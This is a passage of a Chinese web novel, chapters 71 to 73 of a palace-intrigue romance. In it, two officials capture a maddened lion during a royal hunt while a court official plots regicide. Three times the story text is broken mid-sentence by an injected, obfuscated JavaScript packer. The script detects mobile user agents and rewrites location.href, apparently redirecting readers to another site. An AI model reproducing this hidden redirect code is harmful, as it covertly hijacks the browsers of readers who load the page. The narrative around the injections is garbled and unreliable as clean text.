虞睿祥:修延,你不要用那种眼神看朕,朕叫她们三个是为了打麻将的,三缺一懂不懂? 下章预告: 凤嫔又是一声哼笑:“凝嫔知道的挺多,连这么私密的事情都知道。” 安凝棠美目一瞪:“这是猜测!猜测!” 71. 异想天开的中书令 虞睿祥“哈哈”一笑,手臂揽着安凝棠的腰往怀里带了带,低头在她鬓边亲了口,语气宠溺又带着点打趣:“你啊,朕不过多吃凤嫔几口东西,倒还吃上味、耍起小性子了。” 话落,他抬眼看向一旁的中书令,眸光淡淡扫过对方眼下的青黑,开口问道:“朕听闻何大人昨夜未休息好?” 安凝棠顺势偎在虞睿祥怀里,指尖轻轻勾着他的衣袍,娇滴滴的嗓音软乎乎的:“何大人许是有认床的毛病,昨儿换了住处,定是没睡安稳,今儿夜里好好歇一觉便罢了。” 这话刚落,凤嫔端着食碟的手顿了顿,一声轻嗤从鼻间溢出,眼风斜斜扫过安凝棠:“凝嫔倒是知道的挺多,连旁人这般私密的事都摸得门清。” “这是猜测!只是猜测罢了!” 安凝棠美目一瞪,脸颊微微涨红,颇有些恼羞成怒的模样。 中书令心头一紧,连忙强打精神从席上起身,躬身垂首道:“谢陛下、娘娘挂心,臣昨夜只是想着今日狩猎定要一展身手,许是太过兴奋,辗转到后半夜才合眼。” 一旁的燕修延闻言,唇角勾起一抹坏笑,眼底藏着几分戏谑——兴奋?怕不是昨夜被那装神弄鬼的阵仗吓破了胆,一夜惊魂难眠吧。 他指尖无意识摩挲着杯沿,这勾唇坏笑的模样,眼尾微挑,唇角弯起的弧度,竟与谢伟恒平日使坏时一模一样,只是他自己未曾察觉。 凤嫔没再与安凝棠争执,只是噙着一抹淡笑,用银簪挑了块精致的糕点,递到虞睿祥嘴边。 安凝棠见了,伸手轻轻捶了虞睿祥胸口一下,娇声唤道:“陛下~” 虞睿祥捉住她的小手,捏了捏掌心,低声哄着:“你不喂朕,还怨朕吃了凤嫔的,难不成要朕在这里,便吃了你?” “讨厌~陛下坏死了~” 安凝棠娇笑着挣开他的手,脸颊晕开一层红霞。 燕修延看得浑身发麻,肩膀不自觉抖了抖,实在受不住这腻歪的氛围,当即起身:“臣去林子里转转,透透气。” 他话音刚落,谢伟恒也跟着从席上站起,无声地跟在他身后。 二人皆未牵马,空着手便往林子走去。 殿内的大臣见状,不免小声议论:“怎么燕大人一走,谢大人便也跟着去了?” 中书令昨夜本就没睡,脑子昏沉得厉害,心头又压着谋逆的大事,根本没心思细想,随口敷衍道:“许是想着猎些新奇物什,献于陛下讨喜吧。” 那大臣闻言,身子悄悄坐直了些,便不再与中书令搭话。 徒手进林,连弓箭都不带,哪是去狩猎的? 傻子都不会这般行事。 林子里草木葱茏,清风拂过,带着淡淡的草木清香。 燕修延没往深处走,行至一棵枝繁叶茂的树前便停了脚,树上结满了红彤彤的浆果,黄豆般大小,晶莹剔透。 几只麻雀正站在枝头啄食。 燕修延抬手摘下一颗,指尖捏着那小巧的浆果,直接塞进嘴里,果肉轻抿即破,酸甜的汁水在舌尖漾开,他眉眼弯了弯:“味道倒还不错。” 说着,又摘了一颗,转身递到谢伟恒唇边:“尝尝。” 谢伟恒微微低头,张口含住他指尖的浆果,牙齿不经意擦过燕修延温热的指腹,轻轻咬碎果肉,喉间溢出一声轻唔:“甜中带酸,确实不错。” 燕修延指尖微微发麻,像是被烫了一下,抬手在谢伟恒的衣摆上蹭了蹭,佯怒道:“你这懒得连手都不肯伸的毛病,可真不好。” 谢伟恒看着他泛红的耳尖,眼底漾开温柔的笑意,语气认真:“燕大人习惯便好。” “哼。” 燕修延轻哼一声,不再与他计较,抬手大把大把摘了些浆果,揣进腰间的锦袋里。 狩猎过后陛下定会设宴。 届时满桌都是烤肉、炖肉。 吃多了难免腻味。 用这浆果解腻,倒是正好。 燕修延抬眼扫过四周,目光落在一棵枝杈宽大的老树上,伸手拉住谢伟恒的手腕,足尖一点,便带着人跃了上去,稳稳落在粗壮的树杈间。 “就在这歇着,等狩猎结束便是。” 说着,他从袖中摸出一包瓜子,晃了晃递到谢伟恒面前:“吃不吃?” “多谢。” 谢伟恒伸手拿了几粒,指尖轻轻碰到他的掌心。 燕修延靠在树干上,闲适地嗑着瓜子,瓜子皮随手丢在树下,嘴里嘟囔着:“偏生在这些小事上,倒是客气得很。” 谢伟恒捏着瓜子,目光一瞬不瞬地看着他,笑意吟吟,声音温柔又带着几分狡黠:“若是事事都与燕大人客气,怕是这辈子,连燕大人的手都牵不着。” “你……哼。” 燕修延抬手把瓜子皮丢向他,话未说完,便被一声震耳欲聋的狮吼打断。 “吼——!” 狮吼声从林子深处传来,震得枝叶轻颤,林间的鸟儿被惊得四散飞起,扑棱棱的翅膀声此起彼伏。 一个士兵骑着快马,从树下疾驰而过,口中高声叫喊:“陛下!林深处发现一只吊睛白狮,不知陛下可要亲自狩猎?” 燕修延的指尖顿在眉尾,轻轻摩挲着,眼底闪过一丝玩味,低声道:“玩儿的倒是挺大。” 围场向来规矩森严,皇帝驾临前,定会提前将凶兽驱赶干净,只放些鹿、兔之类无伤的动物进去。 便是狼都难得一见,如今竟突然冒出一只吊睛白狮,其中定有猫腻。 燕修延能想到的,虞睿祥自然也想到了。 殿内的嬉笑打闹瞬间停了,虞睿祥拿过凤嫔递来的锦帕,擦了擦唇角,眸光沉了沉,扫过殿内未曾去狩猎的大臣,尤其是眼下青黑的中书令,起身沉声道:“走,朕去活捉了这大虫!” 安凝棠连忙起身,芊芊玉指轻轻搭在虞睿祥的手背上,含情脉脉:“臣妾在此静候陛下佳音,陛下万事小心。” 虞睿祥反手握住她的手,拍了拍她的手背,语气带着许诺:“朕若是活捉了这大虫,今晚便只宠你一人。” “陛下~” 安凝棠娇羞地捶了他一下,眼底却藏着难掩的得意。 “哈哈哈!” 虞睿祥大笑着转身走出宫殿,翻身上马,带着侍卫往林深处疾驰而去。 安凝棠看着他的身影消失在林间,扭头看向一旁的凤嫔,唇角勾起一抹炫耀的笑。 凤嫔却连一个眼神都没给她,丢下一句“矫情,身上的脂粉味呛死人”,便起身走出宫殿,去外头透气。 安凝棠气得攥紧了手中的锦帕,指节泛白。 得意什么! 等她依着依馨给的方子怀上龙嗣,这后宫的风光,迟早都是她的! 她抬手轻轻摸了摸小腹,眼底满是期盼。 中书令在听到那声狮吼时,便死死攥紧了藏在袖中的手,指腹抠着掌心,心跳快得几乎要冲破胸膛,眼底闪过一丝狂热的野心。 成了!只要这次成功,皇帝命丧狮口,晋王便能顺利登基。 他便是国丈,女儿便是皇后,外孙便是将来的太子,继承大统! 晋王早已许诺,事成之后,封他做丞相,一人之下,万人之上! 凤嫔站在殿外的廊下,目光恰好落在殿内的中书令身上,将他眼中那一闪而过的狂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646229|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热尽收眼底,唇角勾起一抹冰冷的讥讽,眼底藏着几分不屑。 虞睿祥带着侍卫冲进林深处,很快便在地上看到了狮子硕大的足印,深深陷在泥土里,一看便知身形壮硕。 随行的大臣也纷纷赶到,围在一旁。 虞睿祥身下的御马却越发焦躁,不停打着响鼻。 四蹄在原地不安地刨着土,甚至想要扬蹄。 虞睿祥抬手拍了拍马的脖子,沉声道:“不过是条大虫,莫怕。” 可不仅是御马,随行众人的马匹皆是如此,有的焦躁不安,有的甚至目露凶光,想要将背上的人抖落下来,全然没了平日的温顺。 “陛下,似乎不大对劲。” 吏部尚书勒紧缰绳,手臂青筋暴起,勉强制住马匹,沉声道,“方才臣路过一片草丛,看见两只兔子在互相撕咬,红了眼似的,这些马匹怕不是单纯的不安,倒像是被激出了满满的攻击性。” 话音刚落,礼部尚书便再也制不住身下的马,那马猛地扬起前蹄,他惊呼一声,干脆跳下马背,想放马自由,可那马竟转头朝他冲来,前蹄眼看就要踩到他身上。 “漠大人救命!” 礼部尚书吓得面无人色,连连后退。 吏部尚书眼疾手快,伸手一捞,将他拉上自己的马背,死死按住他:“坐稳了!” 一旁的侍卫跳上马背,竭力控制着狂躁的马匹,林子里乱作一团。 “先出去。” 虞睿祥的脸色彻底沉了下来,他本想猎下这狮子,敲山震虎,让背后搞鬼的人知道,这点伎俩根本入不了他的眼。 可他绝不会拿臣子的性命开玩笑。 这林子里,定是被人放了能让走兽发狂的东西。 “吼——!” 又一声狮吼传来,比之前更甚,带着满满的怒意与狂躁,似乎就在不远处。 “速速离开此地!” 虞睿祥当机立断,沉声下令。 他目光扫过随行众人,却唯独没看到燕修延的身影,心头不禁一沉,涌上几分担忧。 以燕修延的性子,素来爱凑热闹,又天不怕地不怕,定是循着狮吼声找了过去。 希望谢伟恒能劝得住他,莫要莽撞。 只是虞睿祥终究是了解燕修延,却不够了解谢伟恒。 林深处,燕修延正循着狮吼与杂乱的蹄声往前走,步伐轻快,眼底满是兴奋,哪里有半分退缩的意思。 谢伟恒不仅没有阻拦,反而从袖中摸出一个油纸包,拆开后,里面是一颗颗裹着油纸的雷火丸,他分了一半递到燕修延面前:“拿着,防身用。” 燕修延接过雷火丸,指尖捏着那冰凉的丸药,一边仔细辨认着地上的狮印,一边挑眉道:“谢大人倒是藏了不少好东西,这雷火丸都能弄到手。” 谢伟恒跟在他身侧,脚步轻快,避开地上的荆棘,唇角勾起一抹笑意,语气带着几分狡黠:“出行前,我打着燕大人的名号,去同工部侍郎要的。” 燕修延脚步一顿,猛地转头看他,眼中满是意外。 这雷火丸威力不小,工部管得极严。 他前前后后跟工部侍郎要了好几次,那古板次次都油盐不进,愣是一粒都没给。 ———————————————— 马:玛德,那是兽中之王,你告诉我莫怕?来来来,你下来我骑着你去。 下章预告: 谢伟恒拨开面前的树枝:“并且我承诺他,将来工部的拨款我会让陛下往翻上一番。” 当然陛下那若不同意,他会自掏腰包。 燕修延懂了,这就是有钱能使磨推鬼。 72. 拍马屁的谢大人 “你是不是给他灌了什么迷汤?” 燕修延斜睨着谢伟恒,语气里裹着几分酸溜溜的不服,“我每次同他要,那家伙都口口声声说雷火丸杀伤力强、制作不易、十炉难成一炉,半枚都不肯松口。” 他屈指敲了敲腰间悬着的锦囊,里头叮叮当当撞着五枚冰凉的铁丸,再看谢伟恒手边,竟也整整齐齐摆着五枚——加起来整整十枚。 分明是工部侍郎掏心掏肺地全数奉上。 谢伟恒指尖轻轻拨开面前横生的树枝,枝叶簌簌落下,他语气平淡,却字字戳中要害:“我从江南寻来了制作烟火的老师傅,又请了几位经验老道的炼丹师,专门入工部协助他改良雷火丸。” 顿了顿,他侧眸看向燕修延,眼底含着几分胸有成竹的浅淡笑意:“此外我还承诺他,往后工部的年度拨款,比以往翻上一番。即便陛下那边一时批不下来,缺的部分,我也会自掏腰包补上。” 工部本就是朝中有名的清水衙门,里头虽藏着不少能工巧匠,可巧妇难为无米之炊。 先帝在位时,工部但凡想多要一分银子都难如登天。 虞睿祥即位后境况稍有缓和,可终究捉襟见肘。 燕修延一听便懂了,这哪里是迷汤,分明是实打实的银子弹——有钱能使鬼推磨,更别说一心想做出实绩的工部侍郎。 两人正低声说着话,前方林子里忽然惊起一群飞鸟,翅膀扑棱棱划破寂静。 越往前走,一阵令人毛骨悚然的声响便越清晰——骨头被狠狠咬碎的脆响、皮肉撕扯的啃食声,混在一起。 “这声音,真是听得人牙齿都发软。” 燕修延足尖一点,轻飘飘掠上树头,伸手拨开浓密的树叶,一眼便看见林中空地上,一头狮子正低头撕咬着一头羚羊,鲜血染红了身下的青草。 狮子像是嗅到了陌生的人气,猛地抬起头,兽瞳直直锁定树上二人。 燕修延非但不怕,反倒嗤笑一声,语气满是不以为意:“也不知是谁想的主意,难不成是想让狮子吃了陛下?陛下又不是傻子,真有危险,怎么可能傻乎乎往前冲。” 狮子喉间滚出一声低沉的咆哮,四肢猛地蹬地,竟直直朝着两人所在的树干扑来。 锋利的爪子抠住树皮,几下便往上攀爬。 燕修延与谢伟恒对视一眼,身形同时一展,如两只轻燕般掠向另一棵更高的大树。 狮子扑了个空,仰头对着二人怒声咆哮,吼声震得树叶簌簌发抖,显然被彻底惹恼。 燕修延摸出一枚冰凉的雷火丸,在掌心掂了掂,有些不确定地挑眉:“也不知道这玩意儿威力究竟多大,万一扔偏了,炸到咱们俩怎么办?” 谢伟恒抬手指向远处一棵枝繁叶茂的参天古木,声音沉稳:“先去那里。” 两人双双落在粗壮的树冠上,燕修延手腕运力,将雷火丸狠狠掷向狮子身旁的一块巨石。 铁丸撞上坚硬岩石的瞬间,骤然炸开—— “轰!” 巨响震得耳膜发疼,碎石飞溅四射,本就暴怒的狮子被碎石溅到,更是疯了一般朝着二人所在的古木狂冲而来。 燕修延摸着下巴,饶有兴致地打量:“想生擒这头凶兽,难度似乎有点大。” 他抬手又是两颗雷火丸接连扔出。 “轰!” “轰!” “吼——” 两声巨响几乎叠在一起,竟正巧炸断了一旁一棵合抱粗的大树。 树干轰然倒下,不偏不倚,结结实实砸在狮子身上,直接把它压了个大马趴。 燕修延眼睛一亮,忍不住啧啧称奇:“瞧瞧我这运气,想不佩服都不行。” 谢伟恒站在他身侧,眼底漾着真切的笑意,轻声赞道:“不愧是燕大人。” “少拍我马屁——” 燕修延耳尖微微一炸,刚想反驳,忽然觉出臀部被人轻轻拍了一下,他猛地回头,瞪向谢伟恒,“你拍我屁股干什么!” 谢伟恒唇角弯起一抹浅淡的坏笑,语气无辜:“看看是不是真马屁。” 燕修延气哼哼地磨牙,转念一想对方替自己弄来了雷火丸,这才勉强压下火气:“看在你帮我要来雷火丸的份上,这次暂且饶了你。” 说罢,他在跳下树前,报复性地反手一巴掌,冷不丁拍在谢伟恒的屁股上,理直气壮:“你这才是实打实的马屁!” 谢伟恒微一愕然,随即低低笑出声,身形轻盈地跟着跃下树,快步跟上燕修延。 两人走近那棵倒下的树干,狮子被压在下面,爪子疯狂刨着地面,冲着燕修延龇牙咧嘴。 一张口便是浓烈的腥风,熏得燕修延当场直翻白眼,连连后退半步。 “都动不了了还敢这么嚣张,”燕修延蹲下身打量了两眼,有些意外地挑眉,“看样子骨头好像没大碍?这狮子的骨头是真硬。” 他说着,干脆撸起衣袖,握紧拳头,兜头一拳狠狠擂在狮子脑阔上:“我让你张嘴!” 狮子吃痛,挣扎着想要爬起来,伸长脖子就要去咬燕修延。 燕修延眼疾手快,对着它的脑袋又是一拳。 狮子晃了晃脑袋,明显被打得有些发懵。 紧接着,燕修延攥着拳头“哐哐哐”连续几拳砸下。 打完才默默把手背到身后轻轻甩了甩——这狮子的头骨,是真够硬的。 几番下来,狮子再张口时,吼声小了不少,甚至带着几分委屈的低呜,气焰消了大半。 “吼……” 燕修延见状,又掏出一颗雷火丸,掂量了一下距离,故意扔到狮子波及不到的一块石头上。 “轰”的一声,石头被炸得四分五裂。 他指着满地碎石,居高临下地冲狮子扬了扬下巴,凶巴巴地放狠话:“你再凶一个试试?再凶,我就把这玩意儿塞进你肚子里,把你炸得跟这石头一样!” 狮子趴在地上,原本凶狠的兽瞳竟渐渐变得清澈温顺,老老实实把头搁在地上,不敢再放肆。 燕修延这才单手叉着腰,转头看向谢伟恒,犯了难:“现在怎么弄回去?” 这么大一棵树压着,他们俩加起来估计也抬不动。 可要是把树挪开,这狮子指不定又要威风起来。 谢伟恒四下扫了一眼,伸手扯下一根小臂粗的坚韧藤蔓。 燕修延立刻会意,两步上前,两手揪着狮子的耳朵,硬生生把它的脑袋抬了起来。 狮子下意识龇牙。 燕修延比它更凶,眼一瞪:“老实点!再闹老子真炸了你,信不信!” 狮子瞬间蔫了。 谢伟恒上前,动作利落又熟练地用藤蔓把狮子的嘴一圈圈缠紧,不让它再张口咬人。 随后又扯来几根藤蔓,将它的前爪和后爪分别牢牢捆住。 即便如此,他仍觉得不够稳妥。 谢伟恒垂眸看向狮子,目光平静——若是直接扎瞎双眼,既不会损伤完整的皮毛,又能彻底削去它的攻击性,是最稳妥的法子。 狮子像是预感到了致命危险,被缠住的嘴发出可怜的“呜呜”声,清澈的眼睛一眨不眨地望着谢伟恒,竟透着几分哀求。 燕修延抱着胳膊站在一旁,看得有些纳闷:“明明你没打它、没凶它,我怎么觉得,它怕你比怕我还厉害?” 谢伟恒收回目光,语气温和,却字字都捧著燕修延:“我只是借着燕大人的威势罢了。” 燕修延一听,心里顿时受用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646230|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极了,立刻转头琢磨怎么挪开树干。 直接用雷火丸炸?万一连狮子一起炸断就麻烦了。 想了想,他开口:“找根粗棍子试试能不能撬得动。” “啪” 第一根棍子当场折断,树干只挪动了一点点。 谢伟恒又去找来一根更粗壮的树干,两人一前一后,合力发力,闷哼一声,终于将压在狮子身上的大树撬到一旁。 树是挪开了,可把狮子拖出去依旧费劲。 索性两人直接用撬树的粗棍,从狮子身下穿过去,一人扛一头,硬生生把它挑了起来。 肩头猛地一沉,燕修延咂舌:“真够重的,这狮子平时吃得也太多了。谢大人,你还行不行?” 谢伟恒扛着棍子另一头,身姿依旧挺拔,脚步四平八稳,连气息都没乱半分:“我可以。” 两人就这样一路走走歇歇,扛着一头捆得结结实实的雄狮,刚走出半段路,便迎面遇上了四处寻来的侍卫。 “燕大人、谢大人,你们没……事吧……” 领头的侍卫话音戛然而止,一群人目瞪口呆地看着两人像抬头小猪似的扛着一头雄狮,个个惊得下巴都快掉到地上,半天回不过神。 燕修延淡定地指了指其中两个身量最壮硕的侍卫:“你们两个,过来接应下。” 那两名侍卫上前,刚接过棍子,便被沉甸甸的重量压得膝盖一弯,差点当场跪倒。 最后实在没办法,只能四个人合力,前两个后两个,才勉强把狮子抬了起来。 刚走出林子,便看见等候在外的虞睿祥。 虞睿祥一见二人,立刻快步迎上来,语气带着几分急切:“你们没……事吧?” 人看着没事,有事的似乎是那头被抬在中间的狮子。 一旁的礼部尚书瞪大了眼睛,指着四个侍卫抬着的雄狮,声音都在发抖:“燕大人!你……你居然把狮子给打死了?” 燕修延负手而立,神色云淡风轻,一派世外高手风范,面不改色地撒谎:“打死不至于,我还没那么大力气,不过是活捉罢了。” 众人更是惊得倒抽一口冷气:“活捉的?!” 可不是嘛,狮子除了皮毛有些凌乱,身上竟没有半处伤口流血,看着只是昏沉温顺。 礼部尚书绕着狮子来回走了好几圈,越看越震惊:“刚才林子里那几声巨响,是燕大人你打狮子弄出来的吧!” 燕修延撒谎连眼睛都不眨一下,语气轻描淡写:“嗯,随手拔了棵树抡了几下,大概是狮子撞到树上的声响。” 还好今日工部的人全都留在京城埋头钻研技艺,没跟着出行,不然这番鬼话,当场就要被拆穿。 “嚯!”礼部尚书一惊一乍,看向燕修延的眼神瞬间充满崇拜,“燕大人真乃神人也!不仅徒手制服狮子,还护着谢大人全身而退,实在是令人佩服!” 谢伟恒站在燕修延身侧,笑容温和真切,一字一句,都将功劳尽数推给身边人:“是啊,今日多亏了燕大人一路护我,否则,后果不堪设想。” ———————————————— 树:玛德,有没有人为我发生啊,你擒狮就擒狮,炸我干嘛! 狮子:吼——我乃兽中之王! 燕修延反手一巴掌抽狮头,并且拿出雷火丸:我带你看烟火,好不好。 狮子:看你大爷! 谢伟恒淡淡一笑。 狮子狮躯一震:叫我咪咪就好。 狮子(小声):在我的律师到来之前,我不会再说一句话,哦对了,开庭的时候记得带上你的破雷火丸??! 下章预告: ……嗯……本作者还没有想好,就先不剧透啦,嘻嘻?? 73. 欲使其亡…… “哎——你们方才可有…… “哎——你们方才可有听见?谢大人方才那话,倒像是头一回真心实意地夸燕大人好呢!” 礼部尚书仰头琢磨了片刻,忽然一拍巴掌,笑得意味深长:“我知道了!这就叫英雄救美——” 话未落音,后脑勺便被人不轻不重地拍了一下。 礼部尚书吃痛地“哎哟”一声,回头便撞进吏部尚书漠大人那双带着淡淡无奈的眼眸里。 “胡说什么。” 吏部尚书淡淡瞥他一眼,沉声纠正:“这叫英雄救栋梁。燕大人是凭真本事擒狮的英雄,谢大人是我大虞的国之栋梁,缺一不可。” 礼部尚书被他一本正经的模样逗得乐不可支,凑过去揶揄:“瞧瞧,还是漠大人会说话,这马屁拍得滴水不漏。” 不远处,谢伟恒将这番对话听了个真切,唇角不自觉弯起,侧过头去,目光轻轻落在燕修延身上。 燕修延自然也听懂了那几句调侃,脑海里瞬间闪过之前在密林里,自己笑着说谢伟恒拍马屁的场景。 他心头微微一热,面上却依旧不动声色,趁着众人不备,指尖飞快地在谢伟恒腰间软肉处轻轻拧了一把。 燕修延像偷了腥的猫,拧完拔腿就往皇帝虞睿祥那边跑,半点不给人反应的机会。 几步冲到虞睿祥面前,燕修延搓着手,眉眼弯弯,笑得一脸讨赏:“陛下,臣幸不辱命,已将狮子生擒,特来献给陛下。” 说罢,他抬眼看向虞睿祥,那眼神明晃晃写着:臣这功劳,可比吏部尚书猎到的那头鹿厉害多了,陛下怎么着也得多赏点吧? 虞睿祥原本看着这头被驯服得服服帖帖的雄狮,心中已是大悦,话到嘴边正要嘉奖,看懂燕修延那点毫不掩饰的小心思后,忽然改了主意,故意慢悠悠开口:“燕卿勇猛无敌,孤身猎狮,朕心甚慰。这狮子,朕便赏赐给你了。” 燕修延脸上的得意瞬间僵住,愣在原地:“啊?” 他辛辛苦苦把狮子抓来,本是拿来邀功请赏的! 怎么转了一圈,反倒成了陛下赏给自己的了? 见燕修延一脸懵然、半天回不过神的模样,虞睿祥只觉得心头畅快,朗声大笑,抬手点了点他:“别急,除此之外,朕再赏你黄金百两,如何?” “谢陛下隆恩!” 燕修延立刻换上一副欢欢喜喜的模样,规规矩矩躬身谢恩,方才那点错愕消失得无影无踪。 礼部尚书见状,连忙凑了上来,搓着手一脸好奇:“燕大人,我能摸摸你的狮子吗?就一下!” 燕修延大大方方一挥手:“随便摸——不过丑话说在前头,下次再摸,可要收钱了。” “不花钱的,那可得多摸摸!” 礼部尚书乐颠颠地绕到狮子身后,小心翼翼把手放在毛茸茸的狮臀上,傻呵呵笑道,“都说狮子屁股摸不得,今日我偏摸到了!” “哈哈哈——” 众人被他这憨态可掬的模样逗得哄堂大笑。 满场欢喜之中,唯有一人,笑意不达眼底。 中书令站在人群后侧,面上也跟着扬起温和的笑容,可眼底深处,却藏着浓得化不开的阴鸷与怨毒。 虞睿祥带着众人安然退出林子,并未如他所愿冒进葬身狮口,这本就让他心头失望。 如今燕修延非但毫发无伤,还凭生擒雄狮立下大功,深得帝心,这份耀眼,瞬间点燃了中书令心中的恨意。 他明明记得,燕修延此前已受了内伤—— 念及此处,中书令嘴角的笑意又真切了几分。 巫医早有交代,那透骨草之毒,服下后短时间内会让人产生内伤痊愈、功力精进的错觉。 可一旦频繁动用内力,便会加速毒素侵蚀五脏六腑。 到那时…… 一丝阴狠歹毒的光,在中书令眼底一闪而逝。 便在此时,一名侍卫快步穿过人群,单膝跪地向虞睿祥禀报:“陛下,随行的马匹大半仍安抚不住,焦躁得很。” 燕修延闻言挑眉,奇道:“马怎么了?” “今日进入林中的马匹,不知为何尽数暴躁不安。” 虞睿祥话音刚落,便听见不远处传来马匹焦躁的响鼻声,蹄子疯狂刨着地面,几近失控。 燕修延瞥了一眼脚边温顺匍匐的狮子,当即撸起袖子,语气笃定:“让臣来试试。” 他跟着侍卫走到那匹最狂躁的骏马前,不等马再挣扎,抬手一巴掌就呼在马头上,力道沉而稳。 紧接着,他伸手环住马颈,腰腹一用力,竟生生将那匹高头大马掼倒在地。 马受惊正要起身,燕修延又是一掌稳稳按住,随即抽过身旁侍卫腰间佩剑,“哐当”一声狠狠插在马面前的泥土里。 燕修延语气骤然冷了下来,带着几分慑人的戾气:“再不听话,今日咱们就吃马肉涮火锅。” 奇了。 方才还狂躁不止的马,被他这一通连吓带唬,竟真的渐渐安分下来,四肢温顺地贴在地面,看向燕修延的眼神也温顺了许多。 燕修延拔出剑,随手丢还给侍卫,抬了抬下巴:“学会了没?” 侍卫双手接剑,看向燕修延的目光已然满是崇拜与热切,连声应道:“学会了!不愧是燕大人!” 燕修延负手而立,摆出一副世外高人的淡然架势,随意摆了摆手,仿佛那干脆利落的举动不过是举手之劳。 “方才打这狮子也是一般,性子越躁,越要一针见血压服它,服了,自然就乖顺了。 虞睿祥看在眼里,若有所思:“方才猎狮时,朕便觉得那狮子异乎寻常地暴躁,原以为是野性难驯,如今看来,竟是与这些马一般?” 燕修延立刻颔首:“正是,陛下。” 这话一出,在场几位心思缜密的朝臣当即觉出不对。 吏部尚书神色一肃,上前一步沉声道:“陛下,此事蹊跷,怕是有人在暗中动了手脚。发狂的狮子凶猛异常,若非燕大人及时出手,即便有再多侍卫,也未必能稳稳压制。” 若是方才虞睿祥没有选择暂退,而是执意带人深入密林寻找狮子踪迹……后果不堪设想。 “陛下!” 围场管家已是满头大汗地匆匆跑来,神色慌张。 早在狮吼响起时,他便立刻派人巡查围场边界,此刻带回的消息,让人心头一沉。 “陛下,围场西南角靠山的界桩松动,像是被人撞倒后又重新扶起来的。沿途地上还发现了沾染血迹的土壤,以及些许鸡毛碎屑!” 围场管家擦了擦额上的冷汗,垂首静候发落。 虞睿祥目光沉沉地看着他,此人是他一手提拔上来的,忠心素来毋庸置疑。 “前一日巡查,可曾发现异常?” “回陛下,昨日臣亲自查看,界桩完好无损,并无任何异样。” 虞睿祥命人取来围场巡查记录,册子上记得清清楚楚,近半个月来,每日早晚各巡查一次,从未间断。 “今日卯时,也巡查过一次。” 虞睿祥指尖点在最新的记录上,语气冷了几分,“也就是说,狮子是在卯时巡查之后,才闯入围场的。当时巡查人员的马匹,可有异常?” “回陛下,并无异常。” “狩猎期间,围场外的守卫,也未曾发现任何异动?” “是,陛下。” 围场管家回答得斩钉截铁,神色坦荡,不似作伪。 燕修延抱着胳膊,整个人懒洋洋地往谢伟恒身上一靠,温热的气息凑到他耳边,声音压得极低:“围场外守卫层层把守,竟无人发现异常,这可就稀奇了。” 围场管家看着不像撒谎。 虞睿祥让他把守在西南界桩附 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646231|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近的护卫叫来。 吏部尚书恰好走过来,见燕修延一副散漫模样,低声问道:“燕大人素来擅长审讯查案,观这管家神色,可看出什么端倪?” “没什么端倪。” 燕修延懒洋洋地撩起眼皮,手往袖袋里一摸,摸出两颗先前摘的野浆果,递到他面前,“漠大人,吃不吃?酸甜得很。” 一只瓷白修长、骨节分明的手忽然伸过来,不由分说将那两颗浆果拿走。 谢伟恒声音清淡,却带着不容置喙的笃定:“素闻漠大人素来不喜这些酸甜小食,便不必勉强了。” 吏部尚书伸到半空的手一顿,尴尬地改为摸了摸自己的后脑勺,连忙顺着台阶下:“哈哈,正是正是,谢大人说得对,臣确实不爱吃这些,多谢燕大人好意。” 礼部尚书在一旁看得真切,探头过来刚要开口:“哎?你不是挺喜——” 话未说完,吏部尚书眼疾手快一把捂住礼部尚书的嘴。 重复道:“我不爱吃这些的。” 他把礼部尚书拉远了些。 乖乖,他这是撞破了天大的秘密! 燕修延在林中救了谢伟恒一命后,谢大人这模样,哪里是同僚之情,分明是上心了! “奇奇怪怪的。” 燕修延撇撇嘴,又摸出一颗浆果,假装打了个哈欠,悄咪咪塞进自己嘴里。 汁水在舌尖爆开,酸甜清爽,滋味十足。 不多时,守在西南界桩附近的五名护卫被一一带了过来。 几人皆是第一次面见圣颜,跪在地上瑟瑟发抖,头垂得几乎要碰到地面,大气都不敢喘。 虞睿祥看向围场管家,管家会意,立刻开口盘问:“狩猎开始前,直至狩猎期间,你们几人可曾离开过自己的值守位置?” 五名护卫齐声应答:“臣等卯时便已守在围场外,未曾擅离半步!” 燕修延忽然开口,语气轻飘飘的,却带着一股穿透力:“昨日夜里,你们几人,又在何处?” “臣等一夜都在营房之内歇息,未曾外出。” 燕修延偏过头,看向身旁一直安静伫立的谢伟恒,眼底闪过一丝狡黠:“谢大人嗅觉素来灵敏,可曾嗅到什么不一样的味道?” 与此同时,公主府内,气氛却是另一番紧绷。 虞湘晔一把夺下李羽飞手中紧握的利刃,用力将人紧紧抱住,柔声安抚:“羽飞,你冷静一点!你现在若是杀了李想,非但拿不出他害人的证据,反倒会因弑父之罪锒铛入狱,得不偿失!” 